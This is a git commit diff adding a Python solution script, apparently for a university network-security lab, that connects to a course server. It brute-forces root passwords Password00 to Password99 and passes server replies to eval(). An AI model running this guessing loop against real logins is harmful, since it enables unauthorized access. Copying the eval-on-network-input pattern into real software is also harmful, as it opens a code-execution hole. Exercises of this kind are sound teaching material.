solved w2h

This commit is contained in:
2024-11-09 22:26:21 +09:00
parent cd1703e22f
commit 3b3e3e0442

View File

@ -1,21 +1,51 @@
import socket
import time
# Fill in the right target here
HOST = 'localhost' # TODO
PORT = ... # TODO
HOST = 'netsec.net.in.tum.de' # TODO
PORT = 64984 # TODO
def gen_crends():
credentials = "root,Password00"
return credentials
def get_flag():
credentials = "root,Password19"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sf = s.makefile('rw') # we use a file abstraction for the sockets
print(sf.readline().rstrip('\n'))
sf.write("{}\n".format(credentials))
sf.flush()
data = sf.readline().rstrip('\n')
print(data)
response = eval(data)
sf.write("{}\n".format(response))
sf.flush()
print(sf.readline().rstrip('\n'))
flag = sf.readline().rstrip('\n')
return flag
# TODO
sf.close()
s.close()
def find_port_get_flag():
for i in range(100):
time.sleep(1)
credentials = "root,Password"+str("%02d" % i)
print(credentials)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sf = s.makefile('rw') # we use a file abstraction for the sockets
print(sf.readline().rstrip('\n'))
sf.write("{}\n".format(credentials))
sf.flush()
data = sf.readline().rstrip('\n')
answer = eval(data)
sf.write("{}\n".format(answer))
sf.flush()
print(sf.readline().rstrip('\n'))
except:
pass
if __name__ == '__main__':
get_flag()
print(get_flag())